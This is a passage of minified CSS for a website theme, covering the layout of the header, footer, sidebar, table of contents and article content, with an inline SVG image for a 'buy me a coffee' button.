*)){all:unset;display:revert}*,*::before,*::after{box-sizing:border-box}html{-moz-text-size-adjust:none;-webkit-text-size-adjust:none;text-size-adjust:none}a,button{cursor:revert}ol,ul,menu{list-style:none}img{max-inline-size:100%;max-block-size:100%}table{border-collapse:collapse}input,textarea{-webkit-user-select:auto}textarea{white-space:revert}meter{-webkit-appearance:revert;appearance:revert}:where(pre){all:revert;box-sizing:border-box}::placeholder{color:unset}::marker{content:initial}:where([hidden]){display:none}:where([contenteditable]:not([contenteditable="false"])){-moz-user-modify:read-write;-webkit-user-modify:read-write;overflow-wrap:break-word;-webkit-line-break:after-white-space;-webkit-user-select:auto}:where([draggable="true"]){-webkit-user-drag:element}:where(dialog:modal){all:revert;box-sizing:border-box}pre,code{margin:0}:root{--site-header-height: 46px;--site-footer-height: 46px}@media (min-width: 1025px) and (max-width: 1280px),(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait){:root{--site-header-height: 60px;--site-footer-height: 60px}}@media (min-width: 1281px){:root{--site-header-height: 80px;--site-footer-height: 80px}}body{font-family:var(--font-family);background:var(--background);color:var(--color);display:flex;flex-direction:column;min-height:100svh}#site-header{display:grid;grid-template-columns:2fr 1fr;grid-template-rows:repeat(3, var(--site-header-height))}#site-header-menu,#site-header-search{grid-column:1 / 3}#site-footer{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:repeat(3, var(--site-footer-height))}#site-footer-copyright,#site-footer-love{grid-column:1 / 3}#site-main-content-wrapper{display:flex;flex:1}#sidebar,#toc,#article-nav,#sidebar .btn-close,#toc .btn-close{display:none}main{flex:1;display:flex;overflow:auto}#article{flex:1;width:100vw}#sidebar{width:85%;left:-85%}#toc{width:85%;right:-85%}@media (min-width: 768px) and (max-width: 1023px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:repeat(2, var(--site-header-height))}#site-header-brand{grid-column:1 / 6}#site-header-controls{grid-column:6 / 7}#site-header-menu{grid-column:1 / 5}#site-header-search{grid-column:5 / 7}#site-footer{grid-template-columns:repeat(4, 1fr);grid-template-rows:repeat(2, var(--site-footer-height))}#site-footer-copyright{grid-column:1 / 3}#site-footer-social{grid-column:3 / 4}#site-footer-fund{grid-column:4 / 5}#site-footer-love{grid-column:1 / 5}#sidebar{width:50%;left:-50%}#toc{width:50%;right:-50%}}@media (min-width: 1024px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:var(--site-header-height)}#site-header-brand{grid-column:1 / 2}#site-header-menu{grid-column:2 / 5;grid-row:1}#site-header-search{grid-column:5 / 6;grid-row:1}#site-header-controls{grid-column:6 / 7}#site-footer{grid-template-columns:repeat(5, 1fr);grid-template-rows:var(--site-footer-height)}#site-footer-copyright{grid-column:1 / 3}#site-footer-love{grid-column:3 / 4;grid-row:1}#site-footer-social{grid-column:4 / 5}#site-footer-fund{grid-column:5 / 6}#article-nav-toc-btn{display:none}}@media (min-width: 1024px) and (max-width: 1279px){#sidebar{width:33%;left:-33%}#article{width:75vw}#toc{width:25%;display:flex;flex-direction:column}#toc .sticky{position:fixed;right:0;width:25%}}@media (min-width: 1280px){#sidebar{width:20%;display:flex;flex-direction:column}#article{width:60vw}#toc{width:25%;display:flex;flex-direction:column}#sidebar .sticky{position:fixed;left:0;width:20%}#toc .sticky{position:fixed;right:0;width:20%}}@media (max-width: 1023px){#toc{position:fixed;top:0;height:100%;transition:.3s;z-index:300;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #toc,:root[data-color="night"] #toc{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-toc-on #toc{animation:slide-in-right .3s forwards;display:flex;flex-direction:column;padding-left:16px;z-index:10;cursor:default}.offcanvas-toc-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-toc-on #toc .btn-close{display:block;position:absolute;top:10px;left:10px}#article-nav-toc-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}@media (max-width: 1279px){#sidebar{position:fixed;top:0;height:100%;transition:.3s;z-index:200;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #sidebar,:root[data-color="night"] #sidebar{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-sidebar-on #sidebar{animation:slide-in-left .3s forwards;display:flex;flex-direction:column;z-index:10;cursor:default}.offcanvas-sidebar-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-sidebar-on #sidebar .btn-close{display:block;position:absolute;top:10px;right:10px}#article-nav{display:flex;gap:12px;overflow:auto;justify-content:space-between;height:var(--site-header-height);align-items:center;padding:0 2px}#article-nav-menu-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}body.offcanvas-sidebar-on,body.offcanvas-toc-on{cursor:pointer;overflow:hidden}.offcanvas-sidebar-on:before,.offcanvas-toc-on:before{background:rgba(255,255,255,0.1);backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}@keyframes slide-in-left{from{transform:translateX(0)}to{transform:translateX(100%)}}@keyframes slide-in-right{from{transform:translateX(0)}to{transform:translateX(-100%)}}#site-header-brand{display:flex;align-items:center;font-family:var(--font-family-brand);font-size:1.4em;color:var(--color2)}#site-header-brand a{padding:12px}#site-header-menu{padding:0 12px;display:flex;align-items:center;color:var(--color3)}#site-header-menu nav{width:100%;overflow:auto}#site-header-menu ul{display:flex;height:100%;align-items:center;gap:12px}#site-header-menu a{display:flex;padding:12px 6px;gap:3px;white-space:nowrap}#site-header-menu a:focus,#site-header-menu a:hover,#site-header-menu a.active{border-bottom:3px solid}#site-header-controls{display:flex;align-items:center;padding-right:12px;justify-content:flex-end;gap:12px}#site-header-search{display:flex;align-items:flex-end}@media (min-width: 768px){#site-header-search{align-items:center}}#site-footer-social{display:flex;gap:12px;justify-content:flex-start;padding-left:12px;align-items:center}#site-footer-fund{display:flex;gap:12px;overflow:auto;justify-content:flex-end;padding-right:12px;align-items:center}#site-footer-copyright,#site-footer-love{display:flex;align-items:center;justify-content:center;color:var(--color3)}#site-footer-copyright a{display:flex;align-items:center}@media (min-width: 768px){#site-footer-copyright{justify-content:flex-start;padding-left:12px}#site-footer-social{justify-content:flex-end;padding-right:12px}}#article{padding:8px 16px}#article-header{font-size:3em;font-weight:400;margin-bottom:1em;color:var(--color2)}#article-content h1,#article-content h2,#article-content h3,#article-content h4,#article-content h5,#article-content h6{line-height:1em;font-weight:400;margin:2.6em 0 .1em;color:var(--color2)}#article-content h1{font-size:1.8em}#article-content h2{font-size:1.5em}#article-content h3{font-size:1.3em}#article-content h4{font-size:1.1em}#article-content .highlight,#article-content blockquote,#article-content dl,#article-content iframe,#article-content ol,#article-content p,#article-content table,#article-content ul{margin-top:1em;line-height:1.8rem;letter-spacing:-.1px}#article-content blockquote p{margin:1em 0}#article-content blockquote dl,#article-content blockquote ol,#article-content blockquote ul{margin:0 1em 1em 1em}#article-content a{color:var(--color-anchor);text-decoration:none}#article-content a:hover{color:var(--color-hover);text-decoration:underline}@media print{#article-content a{color:#355265;text-decoration:underline}#article-content a:after{content:" (" attr(href) ")";font-size:80%}}#article-content strong,#article-content b,#article-content table th{font-weight:600}#article-content em{font-style:italic}#article-content dl,#article-content ol,#article-content ul{margin-left:20px}#article-content dl dl,#article-content dl ol,#article-content dl ul,#article-content ol dl,#article-content ol ol,#article-content ol ul,#article-content ul dl,#article-content ul ol,#article-content ul ul{margin-top:0;margin-bottom:0}#article-content ul{list-style:disc}#article-content ol{list-style:decimal}#article-content dl{list-style:square}#article-content li>ul{list-style:circle}#article-content li>ol{list-style:lower-alpha}#article-content li p{margin:0}#article-content li .highlight,#article-content li blockquote,#article-content li iframe,#article-content li table{margin:1em 0}#article-content img,#article-content video{max-width:100%;border-radius:4px}#article-content blockquote{padding:8px 12px;position:relative;background:var(--background-fg);border-left:4px solid var(--border-color);border-radius:6px}#article-content blockquote footer{margin:1em 0;font-style:italic}#article-content blockquote footer cite:before{content:"—";padding:0 .3em}#article-content blockquote footer cite a{color:var(--border-color)}#article-content code,#article-content pre{font-family:var(--font-family-code)}#article-content h1 code,#article-content h2 code,#article-content h3 code,#article-content h4 code,#article-content h5 code,#article-content h6 code,#article-content p code,#article-content blockquote code,#article-content ul code,#article-content ol code,#article-content dl code,#article-content table code{background:var(--chroma-base00);padding:4px;border-radius:4px;font-size:.9em}#article-content pre:not(.chroma){color:var(--chroma-base05);font-size:.9em;line-height:1.8;letter-spacing:-.1px;background-color:var(--chroma-base00);border-radius:6px;padding:16px 24px;overflow-x:auto;margin-top:1em}#article-content blockquote code{background:var(--background-fg2);opacity:.8}#article-content blockquote .chroma,#article-content blockquote pre:not(.chroma){background:var(--background-fg2);margin-bottom:1em}#article-content blockquote .chroma code,#article-content blockquote pre:not(.chroma) code{padding:0}#article-content table{max-width:100%;border:1px solid var(--border-color)}#article-content table td,#article-content table th{padding:5px 15px}#article-content table tr:nth-child(2n){background:var(--background-fg)}#article-footer{display:grid;grid-template-columns:1fr 1fr;padding-top:20px}#article-last-updated,#article-prev-link,#article-next-link{display:flex;align-items:center;padding:12px 0}#article-last-updated{grid-column:1 / 3;justify-content:center;color:var(--color3)}#article-prev-link,#article-next-link{color:var(--color-anchor)}#article-prev-link:hover,#article-next-link:hover{color:var(--color-hover);font-weight:600;font-size:98%}#article-next-link{justify-content:flex-end}#article-prev-link .icon{padding-right:6px}#article-next-link .icon{padding-left:6px}@media (max-width: 767px){#article-next-link[data-first-page="true"]{grid-column:2/ 3}}@media (min-width: 768px){#article{padding:16px 24px}#article-footer{display:grid;grid-template-columns:repeat(3, 1fr)}#article-prev-link{grid-column:1/ 2;grid-row:1}#article-last-updated{grid-column:2 / 3}#article-next-link{grid-column:3 / 4}}@media (min-width: 1024px){#article{padding:24px 32px}}@media (min-width: 1281px){#article{padding:32px 40px}}@media (min-width: 1920px){#article{padding:40px 48px}#article-content{width:90%}}@media (min-width: 2560px){#article-content{width:85%}}@media (min-width: 3840px){#article-content{width:80%}}#sidebar{padding:40px 0}#sidebar .sticky{display:flex;flex-direction:column;padding:0 20px;overflow:auto}.sidebar-section,.sidebar-link{padding:7px 0}.sidebar-section{margin-top:40px;font-weight:600;color:var(--color2)}#sidebar .sidebar-section:first-child{margin-top:0}.sidebar-link{padding-left:10px;color:var(--color3);border-left:1px solid var(--border-color);margin-left:4px}.sidebar-link::before{content:'';display:inline-block;width:6px;height:6px;background:var(--background);box-shadow:var(--box-shadow);border-radius:50%;position:relative;left:-13.5px;top:-3px}.sidebar-link:hover{color:var(--color-hover);font-weight:600;font-size:98%}.sidebar-link.current{color:var(--color-anchor);font-weight:600;font-size:98%}.sidebar-link.current::before,.sidebar-link:hover::before{background:var(--color-anchor)}#toc{padding-top:40px;padding-bottom:40px}#toc .sticky{overflow:auto}#toc strong{font-weight:600;padding:7px 10px 7px 0;display:flex;gap:3px;position:relative;left:-3px;color:var(--color2)}#toc ul{margin-left:.3em;border-left:1px solid var(--border-color)}#toc ul ul{margin-left:1em}#toc ul a{display:inline-block;padding:7px;color:var(--color3)}#toc ul a.active,#toc ul a:hover{color:var(--color-hover)}#toc ul a::before{content:'';display:inline-block;width:6px;height:6px;background:var(--background);box-shadow:var(--box-shadow);position:relative;left:-10.5px;top:-3px}#toc ul a.active::before,#toc ul a:hover::before{background:var(--color-hover)}.btn-github{display:flex;flex-direction:row;gap:2px;font-size:.7em;font-weight:700;line-height:1.8em;color:#576060;background:#f6f8fa;border:1px solid #d5d7da;border-radius:6px;padding:2px 4px}:root[data-color="dark"] .btn-github,:root[data-color="night"] .btn-github{color:#c9d1d9;background:#21262d;border:1px solid #576060}.btn-github .icon{transform:scale(0.8)}.btn-buymeacoffee{width:86px;height:24px;background-image:url("data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 